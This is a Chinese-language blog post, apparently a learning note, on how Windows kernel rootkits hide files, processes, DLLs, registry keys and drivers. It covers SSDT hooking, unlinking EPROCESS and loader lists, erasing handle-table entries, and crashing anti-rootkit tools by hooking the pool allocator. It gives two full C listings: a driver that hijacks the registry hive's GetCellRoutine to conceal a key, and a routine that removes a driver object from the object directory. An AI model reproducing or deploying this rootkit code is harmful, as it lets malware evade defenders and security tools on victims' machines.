Rootkit基础——隐藏

Rootkit的最大用处之一就是用来隐藏自己的某些东西,比如文件、进程、dll等。功能模块往往写Ring3的应用程序,Ring0用来实现隐藏,防止被查出来。这才是合理的搭配。常见的有文件隐藏、进程隐藏、Dll隐藏、注册表隐藏、端口隐藏等。

文件隐藏

文件隐藏是最基本的隐藏技术,因为后门等往往是以文件形式存放在目标机。方法也有很多。

可以HOOK SSDT系统服务,如HOOK ZwQueryDirectoryFile,实现对资源管理器的隐藏。不过随便一个ARK应该就能检测出来,而且vista之后的PatchGuard也是个问题。看起来这个只是理论上的方法。不过考虑到win2003和win xp依然大行其道,以及一些已知漏洞,简单的方法也是有学习的价值的。

那么如何防止自己的用来隐藏文件的RK被查出来呢,有一招很厉害(现在可能会被防了):既然ARK要防RK,即要检查是否hook,那么就得用到内存池,所以我们hook ExAllocatePool和NtAllocate等函数,然后ARK就挂了 我了解到这个技术的时候真是有点小激动啊。

还可以通过NTFS文件系统的一些特性来隐藏文件,比如IRP拦截等,这个我也不是很熟悉,没有具体写过,以后有机会再写。

进程隐藏

进程隐藏几乎是大神们发挥想象力最佳靶,不管是hook内核函数,还是修改结构,都会有让人惊叹的隐藏技巧。

最基本的就是ActiveProcessLinks,几乎是每一个菜鸟学习rootkit的第一课。执行体进程结构EPROCESS有一个成员ActiveProcessLinks链表,将所有活动进程以双向链表形式链接。可以遍历链表,然后将需要隐藏的那一个节点断下来,达到隐藏的目的。类似的技术还有HandleTableList和WorkingSetExpansionLinks,同样的原理,都是断链。

另一种比较经典的技术是擦除句柄表。PspCidTable是进程全局句柄表,关于这个东西可以看我前面的一篇文章。还可以断csrss.exe句柄表,环境子系统进程是系统重要的一环。这里可能会用到ExEnumHandleTable函数遍历句柄表的句柄,用MmGetSystemRoutineAddress获取函数地址,然后提供一个遍历句柄回调函数。枚举当前进程的所有线程,在上述两个句柄表中擦除线程句柄,最后再擦除当前进程的进程句柄。

hook作为万能法,肯定也是隐藏进程的利器。如hook ZwQuerySystemInformation。还有对进程对象进行的各种奇葩操作,擦除信息,如擦除线程计数、句柄计数等。

进程创建和线程管理是很复杂的问题,其中涉及到的东西也特别多,所以可以操作的点也很多。

dll隐藏

dll隐藏最经典的无疑是EPROCESS的ldr成员——_PEB_LDR_DATA结构成员。


0: kd> dt nt!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY
   +0x024 EntryInProgress  : Ptr32 Void

三个和dll有关的双向链表,所以断链是一种方法。

通过VAD(虚拟地址描述符)也是一种比较好的方法,早些年甚至能骗过大部分ARK。虚拟地址描述符是Windows内存管理的重要结构,通过VAD内存管理器可以快速判断哪些地址已经提交、处理访问错误等。EPROCESS的RootVad是一个二叉树,所以可以通过简单的二叉树遍历来查找进程dll,找到之后将其擦除即可。

注册表隐藏

注册表由执行体组件配置管理器操作.

直接HOOK注册表查找函数是一种方法,可以看一下注册表操作函数进入ring0之后调用的是什么函数,然后将其HOOK。这也容易被查出来。

另一种方法是利用hive文件和注册表本身的特性,属于专藏。注册表数据放在cell里,cell索引类似虚拟地址,需要通过一个函数计算才能得到cell数据块CELL_DATA。这个函数的地址保存在HHIVE结构中。


lkd> dt   _HHIVE
nt!_HHIVE
    +0x000 Signature         : Uint4B
    +0x004 GetCellRoutine    : Ptr32      _CELL_DATA*

GetCellRoutine接收cell索引CELL_INDEX作为参数,返回CELL_DATA结构。

应用程序打开注册表键会返回一个类似句柄的东西,该句柄在内核中对应_cm_key_body结构,由配置管理器创建;该结构有一个成员_CM_KEY_CONTROL_BLOCK,控制块,及KCB。在控制块中可以找到我们要隐藏的KEY_INDEX和HHIVE结构。

因为注册表的结构很奇特,键之间似乎是链接起来的,而且还有父子关系,所以自己写的GetCellRoutine函数需要做一些判断。这里直接放一个网上流传甚广的代码。


#include "ntddk.h"

#define GET_PTR(ptr, offset) \
	( *(PVOID*)( (ULONG)ptr + (offset##Offset) ))

#define CM_KEY_INDEX_ROOT	0x6972
#define CM_KEY_INDEX_LEAF	0x696C
#define CM_KEY_FAST_LEAF	0x666C
#define CM_KEY_HASH_LEAF	0x686C

#pragma pack(1)
typedef struct _CM_KEY_NODE {
	USHORT Signature;
	USHORT Flags;
	LARGE_INTEGER LastWriteTime;
	ULONG Spare;               // used to be TitleIndex
	HANDLE Parent;
	ULONG SubKeyCounts[2];     // Stable and Volatile
	HANDLE SubKeyLists[2];     // Stable and Volatile
	// ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
	USHORT Signature;
	USHORT Count;
	HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
	ULONG Type;                // "ky02"
	PVOID KeyControlBlock;
	PVOID NotifyBlock;
	PEPROCESS Process;         // the owner process
	LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {
	ULONG Signature;
	PGET_CELL_ROUTINE GetCellRoutine;
	// ...
} HHIVE, *PHHIVE;
#pragma pack()

WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;

HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
	NTSTATUS status;
	UNICODE_STRING uKeyName;
	OBJECT_ATTRIBUTES oa;
	HANDLE hKey;
	RtlInitUnicodeString(&uKeyName, pwcsKeyName);
	InitializeObjectAttributes(&oa, 
		&uKeyName, 
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		NULL);
	status = ZwOpenKey(&hKey, KEY_READ, &oa);
	if (status != STATUS_SUCCESS)
	{
		DbgPrint("ZwOpenKey failed\n");
		return NULL;
	}
	return hKey;
}

PVOID GetKeyControlBlock(HANDLE hKey)
{
	NTSTATUS status;
	PCM_KEY_BODY KeyBody;
	PVOID kcb;

	if (hKey == NULL)
		return NULL;

	status = ObReferenceObjectByHandle(hKey,
		KEY_READ,
		NULL,
		KernelMode,
		&KeyBody,
		NULL);
	if (status != STATUS_SUCCESS)
	{
		DbgPrint("ObreferencedObjectByHandle Failed\n");
		return NULL;
	}

	kcb = KeyBody-> KeyControlBlock;
	ObDereferenceObject(KeyBody);
	return kcb;
}

PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
	PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node-> Parent);
	PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode-> SubKeyLists[0]);

	DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

	if (Index-> Signature == CM_KEY_INDEX_ROOT)
	{
		Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index-> List[Index-> Count - 1]);
		DbgPrint("Index = %lx\n", Index);
	}

	if (Index-> Signature == CM_KEY_FAST_LEAF || Index-> Signature == CM_KEY_HASH_LEAF)
	{
		return g_pGetCellRoutine(Hive, Index-> List[2*(Index-> Count-1)]);
	}
	else
	{
		return g_pGetCellRoutine(Hive, Index-> List[Index-> Count-1]);
	}
}

PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
	PVOID pRet = g_pGetCellRoutine(Hive, Cell);
	if (pRet)
	{
		if (pRet == g_HideNode)
		{
			DbgPrint("GetCellRoutine(%lx, %08lx) == %lx\n", Hive, Cell, pRet);
			pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
			DbgPrint("g_LastNode = %lx\n", g_LastNode);
			if (pRet == g_HideNode) pRet = NULL;
		}
		else if (pRet == g_LastNode)
		{
			DbgPrint("GetCellRoutine(%lx, %08lx) == %lx\n", Hive, Cell, pRet);
			pRet = g_LastNode = NULL;
		}
	}
	return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
	DbgPrint("DriverUnload()\n");
	if (g_ppGetCellRoutine)
		*g_ppGetCellRoutine = g_pGetCellRoutine;
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
	ULONG BuildNumber;
	ULONG KeyHiveOffset;       // KeyControlBlock-> KeyHive
	ULONG KeyCellOffset;       // KeyControlBlock-> KeyCell
	HANDLE hKey;
	PVOID KCB, Hive;

	DbgPrint("DriverEntry()\n");
	pDrvObj-> DriverUnload = DriverUnload;

	if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) 
		return STATUS_NOT_SUPPORTED;
	DbgPrint("BuildNumber = %d\n", BuildNumber);

	switch (BuildNumber)
	{
	case 2195:     // Win2000
		KeyHiveOffset = 0xc;
		KeyCellOffset = 0x10;
		break;
	case 2600:     // WinXP
	case 3790:     // Win2003
		KeyHiveOffset = 0x10;
		KeyCellOffset = 0x14;
		break;
	default:
		return STATUS_NOT_SUPPORTED;
	}


	hKey = OpenKeyByName(g_HideKeyName);
	KCB = GetKeyControlBlock(hKey);
	if (KCB)
	{
		PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
		g_ppGetCellRoutine = &Hive-> GetCellRoutine;
		g_pGetCellRoutine = Hive-> GetCellRoutine;
		DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
		g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
		Hive-> GetCellRoutine = MyGetCellRoutine;
	}
	ZwClose(hKey);

	return STATUS_SUCCESS;
}


端口隐藏

这个我只做过HOOK的,没什么意思。

Windows网络也是很复杂的一块儿,没仔细学习过,正在补洞中。

驱动隐藏

驱动隐藏是很重要的,也是整个理想Rootkit的最后一步,所有的小九九都被隐藏了,然后自己隐藏起来,深藏功与名,真是不错。

最常见的还是断链。DRIVER_OBJECT结构的DriverSection是LDR_DATA_TABLE_ENTRY双向链表,将驱动和ntoskrnl.exe等链起来,所以可以遍历查找然后断开。


kd> dt _driver_object
nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void


kd> dt _LDR_DATA_TABLE_ENTRY
nt!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING

另一种方法是将驱动从/drivers目录中抹去。可以用ObOpenObjectByName打开驱动目录,或者通过对象结构体-0x18得到对象头,然后再-0x10得到对象头名称信息OBJECT_HEADER_NAME_INFO,在该结构中有_OBJECT_DIRECTORY结构的Directory成员。

目录对象的滴一个成员HashBuckets是_OBJECT_DIRECTORY_ENTRY结构,该结构是一个hash表,对象存放在hash表中,所以可以对_OBJECT_DIRECTORY_ENTRY搜索,找到驱动名称的hash值所在的链,然后抹掉信息。


ULONG GetObjectHashByName(PWCHAR ObjectName)
{
	ULONG HashIndex=0;
	ULONG WcharLength;
	ULONG Wchar;
	WcharLength=wcslen(ObjectName);
	while (WcharLength--) 
	{   
		Wchar = *ObjectName++;   
		HashIndex += (HashIndex << 1) + (HashIndex > > 1);  
		if (Wchar < 'a') 
		{                
			HashIndex += Wchar;   
		} else if (Wchar > 'z') 
		{                
			HashIndex += RtlUpcaseUnicodeChar( (WCHAR)Wchar );   
		} else 
		{                
			HashIndex += (Wchar - ('a'-'A'));         
		}     
	}     
	HashIndex %= NUMBER_HASH_BUCKETS;//NUMBER_HASH_BUCKETS是个宏,值为37
	return HashIndex;
}
/******************************************************/
NTSTATUS HideModuleFromDriverDirectory()
{
	POBJECT_HEADER pObjectHeader;
	POBJECT_HEADER_NAME_INFO pObjectHeaderNameInfo;
	POBJECT_DIRECTORY pObjectDirectory;
	POBJECT_DIRECTORY_ENTRY pObjectDirectoryEntry,tmp;
	PWCHAR ObjectName=NULL;
	ULONG CurrentHash;
	ULONG DriverObject;
	ANSI_STRING aTempChar={0};
	
	DbgPrint("待隐藏驱动对象地址:%x\n",g_pDriverObject);

    
	pObjectHeader = g_pDriverObject-0x18;
	DbgPrint("待隐藏驱动对象头地址:%x\n",pObjectHeader);

	pObjectHeader-> Type=0;

	(ULONG)pObjectHeaderNameInfo=(ULONG)pObjectHeader-*(BYTE*)((ULONG)pObjectHeader+0x0c);
	DbgPrint("待隐藏驱动对象头名称结构:%x\n",pObjectHeaderNameInfo);

	(ULONG)pObjectDirectory=*(ULONG*)((ULONG)pObjectHeaderNameInfo);
	DbgPrint("待隐藏驱动对象头目录对象地址:%x\n",pObjectDirectory);
	
	RtlUnicodeStringToAnsiString(&aTempChar,&(pObjectHeaderNameInfo-> Name),TRUE);
	
	//ObjectName=pObjectHeaderNameInfo-> Name;
	DbgPrint("名称:%wZ\n",&(pObjectHeaderNameInfo-> Name));
	
	CurrentHash=GetObjectHashByName(L"ThunderNetWork");
	DbgPrint("本驱动名称哈希值:%d\n",CurrentHash);

	pObjectDirectoryEntry=pObjectDirectory-> HashBuckets[CurrentHash];
	DbgPrint("本驱动ObjectDirectoryEntry链表地址:%x\n",pObjectDirectoryEntry);
	DriverObject=pObjectDirectoryEntry-> Object;
	DbgPrint("第一个驱动对象地址:%x\n",DriverObject);
	
	if(DriverObject==g_pDriverObject)//如果在链表头
	{
		DbgPrint("驱动对象目录匹配成功\n");
		pObjectDirectoryEntry-> Object=NULL;//抹掉驱动对象
		pObjectDirectory-> HashBuckets[CurrentHash]=pObjectDirectoryEntry-> ChainLink;//更新链表头
	}
	else
	{
		while(pObjectDirectoryEntry-> ChainLink!=NULL)
		{
			tmp=pObjectDirectoryEntry-> ChainLink;
			DriverObject=tmp-> Object;
	        DbgPrint("遍历到驱动对象地址:%x\n",DriverObject);
	
	        if(DriverObject==g_pDriverObject)
	        {
				DbgPrint("驱动对象目录匹配成功\n");
		        tmp-> Object=NULL;
				pObjectDirectoryEntry-> ChainLink=tmp-> ChainLink;
				break;
	        }
			pObjectDirectoryEntry=tmp;
		}
	}
}``````

还可以通过POBJECT_HEADER_CREATOR_INFO链来隐藏驱动,也是我刚学到的新姿势。

总之隐藏技术多,且学且珍惜。